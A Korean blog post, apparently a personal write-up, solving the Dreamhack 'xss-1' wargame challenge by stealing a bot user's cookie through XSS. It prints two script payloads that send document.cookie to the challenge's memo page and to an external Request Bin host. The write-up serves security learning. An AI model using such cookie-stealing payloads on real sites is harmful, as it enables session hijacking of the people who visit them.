-
Dreamhack - xss-1wargame/Dreamhack 2024. 2. 7. 16:45
[LEVEL 1 - xss-1 - web]
XSS 취약점을 이용해 플래그를 획득하는 문제이다.
문제 환경에 접속하면 나오는 첫 화면이다.
플래그 값을 얻기 위해서는 /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다.
탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용하면 된다.
공격에 사용할 수 있는 속성으로는 location.href(전체 URL 반환 or URL 업데이트할 수 있는 속성값)와 document.cookie(해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성값)가 있다.
memo 페이지를 사용하여 쿠키를 탈취해 보겠다.
flag 엔드포인트에서 익스플로잇 코드를 작성하고 제출을 누르면 memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다.
<script>location.href = "/memo?memo=" + document.cookie;</script>
위와 같이 익스플로잇 코드를 입력했다.
그러면 Good 이라는 창이 뜨고 다시 memo 엔드포인트로 가보면 플래그가 출력되어 있다.
플래그를 획득했다!
앞서 소개한 두 가지 방법 중 또 다른 방법인 웹 서버를 사용하여 플래그를 획득해 보겠다.
외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다.
손쉽게 실습하기 위해 드림핵에서 제공하는 서비스를 이용한다.
드림핵 툴즈 서비스(tools.dreamhack.games)에서 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있다.
Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되는데, 해당 URL에 접속한 기록을 저장한다.
<script>location.href = "https://hebcfjc.request.dreamhack.games/?memo=" + document.cookie;</script>
따라서 flag 기능에서 위와 같은 익스플로잇 코드를 입력하면 아래와 같이 접속 기록에 포함된 플래그를 확인할 수 있다.
다른 방법으로도 플래그를 획득했다!
'wargame > Dreamhack' 카테고리의 다른 글
Dreamhack - csrf-1 (0) 2024.02.20 Dreamhack - xss-2 (0) 2024.02.07 Dreamhack - session-basic (0) 2024.01.31 Dreamhack - cookie (0) 2024.01.31 Dreamhack - Carve Party (0) 2024.01.23